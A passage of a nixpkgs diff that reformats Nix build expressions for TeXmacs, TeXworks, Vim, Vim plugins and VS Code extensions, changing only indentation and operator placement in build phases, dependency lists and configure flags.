-  installPhase =
-    ''
-      mkdir -p "$out/bin"
-      makeWrapper "''$${primaryBinary}/${primaryBinary}" "$out/bin/${primaryBinary}"
-    ''
-    + builtins.concatStringsSep "" (
-      map (binaryAlias: "ln -s $out/bin/${primaryBinary} $out/bin/${binaryAlias}\n") primaryBinaryAliases
-    )
-    + ''
-      mkdir -p "$out/share/applications"
+  installPhase = ''
+    mkdir -p "$out/bin"
+    makeWrapper "''$${primaryBinary}/${primaryBinary}" "$out/bin/${primaryBinary}"
+  ''
+  + builtins.concatStringsSep "" (
+    map (binaryAlias: "ln -s $out/bin/${primaryBinary} $out/bin/${binaryAlias}\n") primaryBinaryAliases
+  )
+  + ''
+    mkdir -p "$out/share/applications"
 
-      substitute \
-        "''$${primaryBinary}/${primaryBinary}.desktop" \
-        "$out/share/applications/${primaryBinary}.desktop" \
-        --replace-fail "/opt/${primaryBinary}/${primaryBinary}" "${primaryBinary}"
+    substitute \
+      "''$${primaryBinary}/${primaryBinary}.desktop" \
+      "$out/share/applications/${primaryBinary}.desktop" \
+      --replace-fail "/opt/${primaryBinary}/${primaryBinary}" "${primaryBinary}"
 
-      for directory in ''$${primaryBinary}/Icon/*; do
-        size=$(basename $directory)
-        mkdir -p "$out/share/icons/hicolor/$size/apps"
-        ln -s ''$${primaryBinary}/Icon/$size/* $out/share/icons/hicolor/$size/apps
-      done
-    '';
+    for directory in ''$${primaryBinary}/Icon/*; do
+      size=$(basename $directory)
+      mkdir -p "$out/share/icons/hicolor/$size/apps"
+      ln -s ''$${primaryBinary}/Icon/$size/* $out/share/icons/hicolor/$size/apps
+    done
+  '';
 
   passthru = {
     updateScript =
diff --git a/pkgs/applications/editors/texmacs/default.nix b/pkgs/applications/editors/texmacs/default.nix
index b5b9026f0140..dd73dd13038a 100644
--- a/pkgs/applications/editors/texmacs/default.nix
+++ b/pkgs/applications/editors/texmacs/default.nix
@@ -49,12 +49,10 @@ stdenv.mkDerivation {
     hash = "sha256-h6aSLuDdrAtVzOnNVPqMEWX9WLDHtkCjPy9JXWnBgYY=";
   };
 
-  postPatch =
-    common.postPatch
-    + ''
-      substituteInPlace configure \
-        --replace "-mfpmath=sse -msse2" ""
-    '';
+  postPatch = common.postPatch + ''
+    substituteInPlace configure \
+      --replace "-mfpmath=sse -msse2" ""
+  '';
 
   nativeBuildInputs = [
     guile_1_8
@@ -64,21 +62,20 @@ stdenv.mkDerivation {
     cmake
   ];
 
-  buildInputs =
-    [
-      guile_1_8
-      qtbase
-      qtsvg
-      ghostscriptX
-      freetype
-      libjpeg
-      sqlite
-      git
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      qtmacextras
-    ];
+  buildInputs = [
+    guile_1_8
+    qtbase
+    qtsvg
+    ghostscriptX
+    freetype
+    libjpeg
+    sqlite
+    git
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    qtmacextras
+  ];
 
   patches = [
     (fetchpatch {
diff --git a/pkgs/applications/editors/texworks/default.nix b/pkgs/applications/editors/texworks/default.nix
index 7d746b9b8f15..68055e2af685 100644
--- a/pkgs/applications/editors/texworks/default.nix
+++ b/pkgs/applications/editors/texworks/default.nix
@@ -33,23 +33,21 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      hunspell
-      poppler
-      qt5compat
-      qttools
-    ]
-    ++ lib.optional withLua lua
-    ++ lib.optional withPython python3
-    ++ lib.optional stdenv.hostPlatform.isLinux qtwayland;
+  buildInputs = [
+    hunspell
+    poppler
+    qt5compat
+    qttools
+  ]
+  ++ lib.optional withLua lua
+  ++ lib.optional withPython python3
+  ++ lib.optional stdenv.hostPlatform.isLinux qtwayland;
 
-  cmakeFlags =
-    [
-      "-DQT_DEFAULT_MAJOR_VERSION=6"
-    ]
-    ++ lib.optional withLua "-DWITH_LUA=ON"
-    ++ lib.optional withPython "-DWITH_PYTHON=ON";
+  cmakeFlags = [
+    "-DQT_DEFAULT_MAJOR_VERSION=6"
+  ]
+  ++ lib.optional withLua "-DWITH_LUA=ON"
+  ++ lib.optional withPython "-DWITH_PYTHON=ON";
 
   meta = with lib; {
     changelog = "https://github.com/TeXworks/texworks/blob/${src.rev}/NEWS";
diff --git a/pkgs/applications/editors/vim/default.nix b/pkgs/applications/editors/vim/default.nix
index ec267de59e44..809e9808b1be 100644
--- a/pkgs/applications/editors/vim/default.nix
+++ b/pkgs/applications/editors/vim/default.nix
@@ -46,31 +46,30 @@ stdenv.mkDerivation {
 
   strictDeps = true;
 
-  configureFlags =
+  configureFlags = [
+    "--enable-multibyte"
+    "--enable-nls"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) (
     [
-      "--enable-multibyte"
-      "--enable-nls"
+      "vim_cv_toupper_broken=no"
+      "--with-tlib=ncurses"
+      "vim_cv_terminfo=yes"
+      "vim_cv_tgetent=zero" # it does on native anyway
+      "vim_cv_tty_group=tty"
+      "vim_cv_tty_mode=0660"
+      "vim_cv_getcwd_broken=no"
+      "vim_cv_stat_ignores_slash=yes"
+      "vim_cv_memmove_handles_overlap=yes"
     ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) (
-      [
-        "vim_cv_toupper_broken=no"
-        "--with-tlib=ncurses"
-        "vim_cv_terminfo=yes"
-        "vim_cv_tgetent=zero" # it does on native anyway
-        "vim_cv_tty_group=tty"
-        "vim_cv_tty_mode=0660"
-        "vim_cv_getcwd_broken=no"
-        "vim_cv_stat_ignores_slash=yes"
-        "vim_cv_memmove_handles_overlap=yes"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-        "vim_cv_timer_create=no"
-        "vim_cv_timer_create_with_lrt=yes"
-      ]
-      ++ lib.optionals (!stdenv.hostPlatform.isFreeBSD) [
-        "vim_cv_timer_create=yes"
-      ]
-    );
+    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+      "vim_cv_timer_create=no"
+      "vim_cv_timer_create_with_lrt=yes"
+    ]
+    ++ lib.optionals (!stdenv.hostPlatform.isFreeBSD) [
+      "vim_cv_timer_create=yes"
+    ]
+  );
 
   # which.sh is used to for vim's own shebang patching, so make it find
   # binaries for the host platform.
diff --git a/pkgs/applications/editors/vim/full.nix b/pkgs/applications/editors/vim/full.nix
index 9b20629618ae..71f2f4a784fa 100644
--- a/pkgs/applications/editors/vim/full.nix
+++ b/pkgs/applications/editors/vim/full.nix
@@ -101,98 +101,95 @@ stdenv.mkDerivation {
 
   patches = [ ./cflags-prune.diff ];
 
-  configureFlags =
-    [
-      "--with-features=${features}"
-      "--disable-xsmp" # XSMP session management
-      "--disable-xsmp_interact" # XSMP interaction
-      "--disable-workshop" # Sun Visual Workshop support
-      "--disable-sniff" # Sniff interface
-      "--disable-hangulinput" # Hangul input support
-      "--disable-fontset" # X fontset output support
-      "--disable-acl" # ACL support
-      "--disable-gpm" # GPM (Linux mouse daemon)
-      "--disable-mzschemeinterp"
-      "--disable-gtk_check"
-      "--disable-gtk2_check"
-      "--disable-gnome_check"
-      "--disable-motif_check"
-      "--disable-athena_check"
-      "--disable-nextaf_check"
-      "--disable-carbon_check"
-      "--disable-gtktest"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "vim_cv_toupper_broken=no"
-      "--with-tlib=ncurses"
-      "vim_cv_terminfo=yes"
-      "vim_cv_tgetent=zero" # it does on native anyway
-      "vim_cv_tty_group=tty"
-      "vim_cv_tty_mode=0660"
-      "vim_cv_getcwd_broken=no"
-      "vim_cv_stat_ignores_slash=yes"
-      "vim_cv_memmove_handles_overlap=yes"
-    ]
-    ++ lib.optional (guiSupport == "gtk2" || guiSupport == "gtk3") "--enable-gui=${guiSupport}"
-    ++ lib.optional stdenv.hostPlatform.isDarwin (
-      if darwinSupport then "--enable-darwin" else "--disable-darwin"
-    )
-    ++ lib.optionals luaSupport [
-      "--with-lua-prefix=${lua}"
-      "--enable-luainterp"
-    ]
-    ++ lib.optionals lua.pkgs.isLuaJIT [
-      "--with-luajit"
-    ]
-    ++ lib.optionals pythonSupport [
-      "--enable-python3interp=yes"
-      "--with-python3-config-dir=${python3}/lib"
-      # Disables Python 2
-      "--disable-pythoninterp"
-    ]
-    ++ lib.optional nlsSupport "--enable-nls"
-    ++ lib.optional perlSupport "--enable-perlinterp"
-    ++ lib.optional rubySupport "--enable-rubyinterp"
-    ++ lib.optional tclSupport "--enable-tclinterp"
-    ++ lib.optional multibyteSupport "--enable-multibyte"
-    ++ lib.optional cscopeSupport "--enable-cscope"
-    ++ lib.optional netbeansSupport "--enable-netbeans"
-    ++ lib.optional ximSupport "--enable-xim"
-    ++ lib.optional sodiumSupport "--enable-sodium";
+  configureFlags = [
+    "--with-features=${features}"
+    "--disable-xsmp" # XSMP session management
+    "--disable-xsmp_interact" # XSMP interaction
+    "--disable-workshop" # Sun Visual Workshop support
+    "--disable-sniff" # Sniff interface
+    "--disable-hangulinput" # Hangul input support
+    "--disable-fontset" # X fontset output support
+    "--disable-acl" # ACL support
+    "--disable-gpm" # GPM (Linux mouse daemon)
+    "--disable-mzschemeinterp"
+    "--disable-gtk_check"
+    "--disable-gtk2_check"
+    "--disable-gnome_check"
+    "--disable-motif_check"
+    "--disable-athena_check"
+    "--disable-nextaf_check"
+    "--disable-carbon_check"
+    "--disable-gtktest"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "vim_cv_toupper_broken=no"
+    "--with-tlib=ncurses"
+    "vim_cv_terminfo=yes"
+    "vim_cv_tgetent=zero" # it does on native anyway
+    "vim_cv_tty_group=tty"
+    "vim_cv_tty_mode=0660"
+    "vim_cv_getcwd_broken=no"
+    "vim_cv_stat_ignores_slash=yes"
+    "vim_cv_memmove_handles_overlap=yes"
+  ]
+  ++ lib.optional (guiSupport == "gtk2" || guiSupport == "gtk3") "--enable-gui=${guiSupport}"
+  ++ lib.optional stdenv.hostPlatform.isDarwin (
+    if darwinSupport then "--enable-darwin" else "--disable-darwin"
+  )
+  ++ lib.optionals luaSupport [
+    "--with-lua-prefix=${lua}"
+    "--enable-luainterp"
+  ]
+  ++ lib.optionals lua.pkgs.isLuaJIT [
+    "--with-luajit"
+  ]
+  ++ lib.optionals pythonSupport [
+    "--enable-python3interp=yes"
+    "--with-python3-config-dir=${python3}/lib"
+    # Disables Python 2
+    "--disable-pythoninterp"
+  ]
+  ++ lib.optional nlsSupport "--enable-nls"
+  ++ lib.optional perlSupport "--enable-perlinterp"
+  ++ lib.optional rubySupport "--enable-rubyinterp"
+  ++ lib.optional tclSupport "--enable-tclinterp"
+  ++ lib.optional multibyteSupport "--enable-multibyte"
+  ++ lib.optional cscopeSupport "--enable-cscope"
+  ++ lib.optional netbeansSupport "--enable-netbeans"
+  ++ lib.optional ximSupport "--enable-xim"
+  ++ lib.optional sodiumSupport "--enable-sodium";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optional wrapPythonDrv makeWrapper
-    ++ lib.optional nlsSupport gettext
-    ++ lib.optional perlSupport perl
-    ++ lib.optional (guiSupport == "gtk3") wrapGAppsHook3;
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optional wrapPythonDrv makeWrapper
+  ++ lib.optional nlsSupport gettext
+  ++ lib.optional perlSupport perl
+  ++ lib.optional (guiSupport == "gtk3") wrapGAppsHook3;
 
-  buildInputs =
-    [
-      ncurses
-      glib
-    ]
-    # All X related dependencies
-    ++ lib.optionals (guiSupport == "gtk2" || guiSupport == "gtk3") [
-      libSM
-      libICE
-      libX11
-      libXext
-      libXpm
-      libXt
-      libXaw
-      libXau
-      libXmu
-    ]
-    ++ lib.optional (guiSupport == "gtk2") gtk2-x11
-    ++ lib.optional (guiSupport == "gtk3") gtk3-x11
-    ++ lib.optional luaSupport lua
-    ++ lib.optional pythonSupport python3
-    ++ lib.optional tclSupport tcl
-    ++ lib.optional rubySupport ruby
-    ++ lib.optional sodiumSupport libsodium;
+  buildInputs = [
+    ncurses
+    glib
+  ]
+  # All X related dependencies
+  ++ lib.optionals (guiSupport == "gtk2" || guiSupport == "gtk3") [
+    libSM
+    libICE
+    libX11
+    libXext
+    libXpm
+    libXt
+    libXaw
+    libXau
+    libXmu
+  ]
+  ++ lib.optional (guiSupport == "gtk2") gtk2-x11
+  ++ lib.optional (guiSupport == "gtk3") gtk3-x11
+  ++ lib.optional luaSupport lua
+  ++ lib.optional pythonSupport python3
+  ++ lib.optional tclSupport tcl
+  ++ lib.optional rubySupport ruby
+  ++ lib.optional sodiumSupport libsodium;
 
   # error: '__declspec' attributes are not enabled; use '-fdeclspec' or '-fms-extensions' to enable support for __declspec attributes
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-fdeclspec";
@@ -206,13 +203,12 @@ stdenv.mkDerivation {
     mkdir -p $out/share/applications $out/share/icons/{hicolor,locolor}/{16x16,32x32,48x48}/apps
   '';
 
-  postInstall =
-    ''
-      ln -s $out/bin/vim $out/bin/vi
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      ln -sfn '${nixosRuntimepath}' "$out"/share/vim/vimrc
-    '';
+  postInstall = ''
+    ln -s $out/bin/vim $out/bin/vi
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    ln -sfn '${nixosRuntimepath}' "$out"/share/vim/vimrc
+  '';
 
   postFixup =
     common.postFixup
diff --git a/pkgs/applications/editors/vim/plugins/overrides.nix b/pkgs/applications/editors/vim/plugins/overrides.nix
index 71339e13dcfa..a3a7a8e6c72b 100644
--- a/pkgs/applications/editors/vim/plugins/overrides.nix
+++ b/pkgs/applications/editors/vim/plugins/overrides.nix
@@ -376,17 +376,16 @@ in
     # These usually implicitly set by cc-wrapper around clang (pkgs/build-support/cc-wrapper).
     # The linked ruby code shows generates the required '.clang_complete' for cmake based projects
     # https://gist.github.com/Mic92/135e83803ed29162817fce4098dec144
-    preFixup =
-      ''
-        substituteInPlace "$out"/plugin/clang_complete.vim \
-          --replace-fail "let g:clang_library_path = ''
-      + "''"
-      + ''
-        " "let g:clang_library_path='${lib.getLib llvmPackages.libclang}/lib/libclang.so'"
+    preFixup = ''
+      substituteInPlace "$out"/plugin/clang_complete.vim \
+        --replace-fail "let g:clang_library_path = ''
+    + "''"
+    + ''
+      " "let g:clang_library_path='${lib.getLib llvmPackages.libclang}/lib/libclang.so'"
 
-              substituteInPlace "$out"/plugin/libclang.py \
-                --replace-fail "/usr/lib/clang" "${llvmPackages.clang.cc}/lib/clang"
-      '';
+            substituteInPlace "$out"/plugin/libclang.py \
+              --replace-fail "/usr/lib/clang" "${llvmPackages.clang.cc}/lib/clang"
+    '';
   };
 
   claude-code-nvim = super.claude-code-nvim.overrideAttrs {
@@ -1056,13 +1055,11 @@ in
   };
 
   direnv-vim = super.direnv-vim.overrideAttrs (old: {
-    preFixup =
-      old.preFixup or ""
-      + ''
-        substituteInPlace $out/autoload/direnv.vim \
-          --replace-fail "let s:direnv_cmd = get(g:, 'direnv_cmd', 'direnv')" \
-            "let s:direnv_cmd = get(g:, 'direnv_cmd', '${lib.getBin direnv}/bin/direnv')"
-      '';
+    preFixup = old.preFixup or "" + ''
+      substituteInPlace $out/autoload/direnv.vim \
+        --replace-fail "let s:direnv_cmd = get(g:, 'direnv_cmd', 'direnv')" \
+          "let s:direnv_cmd = get(g:, 'direnv_cmd', '${lib.getBin direnv}/bin/direnv')"
+    '';
   });
 
   dotnet-nvim = super.dotnet-nvim.overrideAttrs {
@@ -3825,13 +3822,11 @@ in
   };
 
   vim-stylish-haskell = super.vim-stylish-haskell.overrideAttrs (old: {
-    postPatch =
-      old.postPatch or ""
-      + ''
-        substituteInPlace ftplugin/haskell/stylish-haskell.vim --replace-fail \
-          'g:stylish_haskell_command = "stylish-haskell"' \
-          'g:stylish_haskell_command = "${stylish-haskell}/bin/stylish-haskell"'
-      '';
+    postPatch = old.postPatch or "" + ''
+      substituteInPlace ftplugin/haskell/stylish-haskell.vim --replace-fail \
+        'g:stylish_haskell_command = "stylish-haskell"' \
+        'g:stylish_haskell_command = "${stylish-haskell}/bin/stylish-haskell"'
+    '';
   });
 
   vim-surround = super.vim-surround.overrideAttrs {
diff --git a/pkgs/applications/editors/vim/plugins/utils/build-vim-plugin.nix b/pkgs/applications/editors/vim/plugins/utils/build-vim-plugin.nix
index ac5fb20e183b..9b426edb593e 100644
--- a/pkgs/applications/editors/vim/plugins/utils/build-vim-plugin.nix
+++ b/pkgs/applications/editors/vim/plugins/utils/build-vim-plugin.nix
@@ -50,7 +50,8 @@
 
           meta = {
             platforms = lib.platforms.all;
-          } // meta;
+          }
+          // meta;
         }
       );
     in
diff --git a/pkgs/applications/editors/vim/plugins/utils/vim-utils.nix b/pkgs/applications/editors/vim/plugins/utils/vim-utils.nix
index dd12f9a442e6..dbe41260ca06 100644
--- a/pkgs/applications/editors/vim/plugins/utils/vim-utils.nix
+++ b/pkgs/applications/editors/vim/plugins/utils/vim-utils.nix
@@ -260,17 +260,16 @@ let
 
     let
       # vim-plug is an extremely popular vim plugin manager.
-      plugImpl =
-        ''
-          source ${vimPlugins.vim-plug}/plug.vim
-          silent! call plug#begin('/dev/null')
+      plugImpl = ''
+        source ${vimPlugins.vim-plug}/plug.vim
+        silent! call plug#begin('/dev/null')
 
-        ''
-        + (lib.concatMapStringsSep "\n" (pkg: "Plug '${pkg}'") plug.plugins)
-        + ''
+      ''
+      + (lib.concatMapStringsSep "\n" (pkg: "Plug '${pkg}'") plug.plugins)
+      + ''
 
-          call plug#end()
-        '';
+        call plug#end()
+      '';
 
       # vim-addon-manager = VAM (deprecated)
       vamImpl =
@@ -289,19 +288,18 @@ let
         in
         nativeImpl vamPackages;
 
-      entries =
-        [
-          beforePlugins
-        ]
-        ++ lib.optional (vam != null) (
-          lib.warn "'vam' attribute is deprecated. Use 'packages' instead in your vim configuration" vamImpl
-        )
-        ++ lib.optional (packages != null && packages != [ ]) (nativeImpl packages)
-        ++ lib.optional (pathogen != null) (
-          throw "pathogen is now unsupported, replace `pathogen = {}` with `packages.home = { start = []; }`"
-        )
-        ++ lib.optional (plug != null) plugImpl
-        ++ [ customRC ];
+      entries = [
+        beforePlugins
+      ]
+      ++ lib.optional (vam != null) (
+        lib.warn "'vam' attribute is deprecated. Use 'packages' instead in your vim configuration" vamImpl
+      )
+      ++ lib.optional (packages != null && packages != [ ]) (nativeImpl packages)
+      ++ lib.optional (pathogen != null) (
+        throw "pathogen is now unsupported, replace `pathogen = {}` with `packages.home = { start = []; }`"
+      )
+      ++ lib.optional (plug != null) plugImpl
+      ++ [ customRC ];
 
     in
     lib.concatStringsSep "\n" (lib.filter (x: x != null && x != "") entries);
diff --git a/pkgs/applications/editors/vscode/extensions/ms-python.python/default.nix b/pkgs/applications/editors/vscode/extensions/ms-python.python/default.nix
index 0af9a827656f..73cb78378167 100644
--- a/pkgs/applications/editors/vscode/extensions/ms-python.python/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/ms-python.python/default.nix
@@ -28,22 +28,21 @@ vscode-utils.buildVscodeMarketplaceExtension rec {
     jedi-language-server
   ];
 
-  postPatch =
-    ''
-      # remove bundled python deps and use libs from nixpkgs
-      rm -r python_files/lib
-      mkdir -p python_files/lib/python/
-      ln -s ${python3.pkgs.debugpy}/lib/*/site-packages/debugpy python_files/lib/python/
-      buildPythonPath "$propagatedBuildInputs"
-      for i in python_files/*.py; do
-        patchPythonScript "$i"
-      done
-    ''
-    + lib.optionalString pythonUseFixed ''
-      # Patch `packages.json` so that nix's *python* is used as default value for `python.pythonPath`.
-      substituteInPlace "./package.json" \
-        --replace-fail "\"default\":\"python\"" "\"default\":\"${python3.interpreter}\""
-    '';
+  postPatch = ''
+    # remove bundled python deps and use libs from nixpkgs
+    rm -r python_files/lib
+    mkdir -p python_files/lib/python/
+    ln -s ${python3.pkgs.debugpy}/lib/*/site-packages/debugpy python_files/lib/python/
+    buildPythonPath "$propagatedBuildInputs"
+    for i in python_files/*.py; do
+      patchPythonScript "$i"
+    done
+  ''
+  + lib.optionalString pythonUseFixed ''
+    # Patch `packages.json` so that nix's *python* is used as default value for `python.pythonPath`.
+    substituteInPlace "./package.json" \
+      --replace-fail "\"default\":\"python\"" "\"default\":\"${python3.interpreter}\""
+  '';
 
   passthru.updateScript = vscode-extension-update-script { };
 
diff --git a/pkgs/applications/editors/vscode/extensions/ms-vscode.cpptools/default.nix b/pkgs/applications/editors/vscode/extensions/ms-vscode.cpptools/default.nix
index 9c29ea704f01..e6b09ff77459 100644
--- a/pkgs/applications/editors/vscode/extensions/ms-vscode.cpptools/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/ms-vscode.cpptools/default.nix
@@ -76,41 +76,41 @@ vscode-utils.buildVscodeMarketplaceExtension {
     libkrb5
     zlib
     (lib.getLib stdenv.cc.cc)
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ lttng-ust ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ lttng-ust ];
 
   dontAutoPatchelf = isx86Linux || isDarwin;
 
-  postPatch =
-    ''
-      mv ./package.json ./package_orig.json
+  postPatch = ''
+    mv ./package.json ./package_orig.json
 
-      # 1. Add activation events so that the extension is functional. This listing is empty when unpacking the extension but is filled at runtime.
-      # 2. Patch `package.json` so that nix's *gdb* is used as default value for `miDebuggerPath`.
-      cat ./package_orig.json | \
-        jq --slurpfile actEvts ${./package-activation-events.json} '(.activationEvents) = $actEvts[0]' | \
-        jq '(.contributes.debuggers[].configurationAttributes | .attach , .launch | .properties.miDebuggerPath | select(. != null) | select(.default == "/usr/bin/gdb") | .default) = "${gdbDefaultsTo}"' > \
-        ./package.json
+    # 1. Add activation events so that the extension is functional. This listing is empty when unpacking the extension but is filled at runtime.
+    # 2. Patch `package.json` so that nix's *gdb* is used as default value for `miDebuggerPath`.
+    cat ./package_orig.json | \
+      jq --slurpfile actEvts ${./package-activation-events.json} '(.activationEvents) = $actEvts[0]' | \
+      jq '(.contributes.debuggers[].configurationAttributes | .attach , .launch | .properties.miDebuggerPath | select(. != null) | select(.default == "/usr/bin/gdb") | .default) = "${gdbDefaultsTo}"' > \
+      ./package.json
 
-      # Prevent download/install of extensions
-      touch "./install.lock"
+    # Prevent download/install of extensions
+    touch "./install.lock"
 
-      # Clang-format from nix package.
-      rm -rf ./LLVM
-      mkdir "./LLVM/"
-      find "${clang-tools}" -mindepth 1 -maxdepth 1 | xargs ln -s -t "./LLVM"
+    # Clang-format from nix package.
+    rm -rf ./LLVM
+    mkdir "./LLVM/"
+    find "${clang-tools}" -mindepth 1 -maxdepth 1 | xargs ln -s -t "./LLVM"
 
-      # Patching binaries
-      chmod +x bin/cpptools bin/cpptools-srv bin/cpptools-wordexp debugAdapters/bin/OpenDebugAD7
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      patchelf --replace-needed liblttng-ust.so.0 liblttng-ust.so.1 ./debugAdapters/bin/libcoreclrtraceptprovider.so
-    ''
-    + lib.optionalString isx86Linux ''
-      chmod +x bin/libc.so
-    ''
-    + lib.optionalString isDarwin ''
-      chmod +x debugAdapters/lldb-mi/bin/lldb-mi
-    '';
+    # Patching binaries
+    chmod +x bin/cpptools bin/cpptools-srv bin/cpptools-wordexp debugAdapters/bin/OpenDebugAD7
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    patchelf --replace-needed liblttng-ust.so.0 liblttng-ust.so.1 ./debugAdapters/bin/libcoreclrtraceptprovider.so
+  ''
+  + lib.optionalString isx86Linux ''
+    chmod +x bin/libc.so
+  ''
+  + lib.optionalString isDarwin ''
+    chmod +x debugAdapters/lldb-mi/bin/lldb-mi
+  '';
 
   # On aarch64 the binaries are statically linked
   # but on x86 they are not.
diff --git a/pkgs/applications/editors/vscode/extensions/vadimcn.vscode-lldb/default.nix b/pkgs/applications/editors/vscode/extensions/vadimcn.vscode-lldb/default.nix
index d3ff70cca2f6..4fc5c6892461 100644
--- a/pkgs/applications/editors/vscode/extensions/vadimcn.vscode-lldb/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/vadimcn.vscode-lldb/default.nix
@@ -88,14 +88,13 @@ stdenv.mkDerivation {
     cp -r ${nodeDeps}/lib/node_modules .
   '';
 
-  postConfigure =
-    ''
-      cp -r ${nodeDeps}/lib/node_modules .
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      export HOME="$TMPDIR/home"
-      mkdir $HOME
-    '';
+  postConfigure = ''
+    cp -r ${nodeDeps}/lib/node_modules .
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    export HOME="$TMPDIR/home"
+    mkdir $HOME
+  '';
 
   cmakeFlags = [
     # Do not append timestamp to version.
diff --git a/pkgs/applications/editors/vscode/extensions/vscode-utils.nix b/pkgs/applications/editors/vscode/extensions/vscode-utils.nix
index f0e8b1ef6305..bb15fecc67d2 100644
--- a/pkgs/applications/editors/vscode/extensions/vscode-utils.nix
+++ b/pkgs/applications/editors/vscode/extensions/vscode-utils.nix
@@ -41,14 +41,13 @@ let
       {
         pname = "vscode-extension-${pname}";
 
-        passthru =
-          {
-            updateScript = vscode-extension-update-script { };
-          }
-          // passthru
-          // {
-            inherit vscodeExtPublisher vscodeExtName vscodeExtUniqueId;
-          };
+        passthru = {
+          updateScript = vscode-extension-update-script { };
+        }
+        // passthru
+        // {
+          inherit vscodeExtPublisher vscodeExtName vscodeExtUniqueId;
+        };
 
         inherit
           configurePhase
diff --git a/pkgs/applications/editors/vscode/extensions/vscodeEnv.nix b/pkgs/applications/editors/vscode/extensions/vscodeEnv.nix
index 37b82075e751..5fef43325c1f 100644
--- a/pkgs/applications/editors/vscode/extensions/vscodeEnv.nix
+++ b/pkgs/applications/editors/vscode/extensions/vscodeEnv.nix
@@ -53,7 +53,8 @@ let
       "extensions.autoCheckUpdates" = false;
       "extensions.autoUpdate" = false;
       "update.mode" = "none";
-    } // settings;
+    }
+    // settings;
     inherit userSettingsFolder;
     createIfDoesNotExists = createSettingsIfDoesNotExists;
     symlinkFromUserSetting = (user-data-dir != "");
diff --git a/pkgs/applications/editors/vscode/generic.nix b/pkgs/applications/editors/vscode/generic.nix
index be51acc0b3ac..7b311278a6f1 100644
--- a/pkgs/applications/editors/vscode/generic.nix
+++ b/pkgs/applications/editors/vscode/generic.nix
@@ -137,20 +137,19 @@ stdenv.mkDerivation (
       dontFixup
       ;
 
-    passthru =
-      {
-        inherit
-          executableName
-          longName
-          tests
-          updateScript
-          ;
-        fhs = fhs { };
-        fhsWithPackages = f: fhs { additionalPkgs = f; };
-      }
-      // lib.optionalAttrs (vscodeServer != null) {
-        inherit rev vscodeServer;
-      };
+    passthru = {
+      inherit
+        executableName
+        longName
+        tests
+        updateScript
+        ;
+      fhs = fhs { };
+      fhsWithPackages = f: fhs { additionalPkgs = f; };
+    }
+    // lib.optionalAttrs (vscodeServer != null) {
+      inherit rev vscodeServer;
+    };
 
     desktopItems = [
       (makeDesktopItem {
@@ -196,22 +195,21 @@ stdenv.mkDerivation (
       })
     ];
 
-    buildInputs =
-      [
-        libsecret
-        libXScrnSaver
-        libxshmfence
-      ]
-      ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-        alsa-lib
-        at-spi2-atk
-        libkrb5
-        libgbm
-        nss
-        nspr
-        systemd
-        xorg.libxkbfile
-      ];
+    buildInputs = [
+      libsecret
+      libXScrnSaver
+      libxshmfence
+    ]
+    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+      alsa-lib
+      at-spi2-atk
+      libkrb5
+      libgbm
+      nss
+      nspr
+      systemd
+      xorg.libxkbfile
+    ];
 
     runtimeDependencies = lib.optionals stdenv.hostPlatform.isLinux [
       (lib.getLib systemd)
@@ -221,16 +219,17 @@ stdenv.mkDerivation (
       libsecret
     ];
 
-    nativeBuildInputs =
-      [ unzip ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        autoPatchelfHook
-        asar
-        copyDesktopItems
-        # override doesn't preserve splicing https://github.com/NixOS/nixpkgs/issues/132651
-        # Has to use `makeShellWrapper` from `buildPackages` even though `makeShellWrapper` from the inputs is spliced because `propagatedBuildInputs` would pick the wrong one because of a different offset.
-        (buildPackages.wrapGAppsHook3.override { makeWrapper = buildPackages.makeShellWrapper; })
-      ];
+    nativeBuildInputs = [
+      unzip
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      autoPatchelfHook
+      asar
+      copyDesktopItems
+      # override doesn't preserve splicing https://github.com/NixOS/nixpkgs/issues/132651
+      # Has to use `makeShellWrapper` from `buildPackages` even though `makeShellWrapper` from the inputs is spliced because `propagatedBuildInputs` would pick the wrong one because of a different offset.
+      (buildPackages.wrapGAppsHook3.override { makeWrapper = buildPackages.makeShellWrapper; })
+    ];
 
     dontBuild = true;
     dontConfigure = true;
@@ -241,45 +240,44 @@ stdenv.mkDerivation (
       "lib/vscode/resources/app/node_modules/@vscode/vsce-sign/bin/vsce-sign"
     ];
 
-    installPhase =
-      ''
-        runHook preInstall
-      ''
-      + (
-        if stdenv.hostPlatform.isDarwin then
-          ''
-            mkdir -p "$out/Applications/${longName}.app" "$out/bin"
-            cp -r ./* "$out/Applications/${longName}.app"
-            ln -s "$out/Applications/${longName}.app/Contents/Resources/app/bin/${sourceExecutableName}" "$out/bin/${executableName}"
-          ''
-        else
-          ''
-            mkdir -p "$out/lib/${libraryName}" "$out/bin"
-            cp -r ./* "$out/lib/${libraryName}"
+    installPhase = ''
+      runHook preInstall
+    ''
+    + (
+      if stdenv.hostPlatform.isDarwin then
+        ''
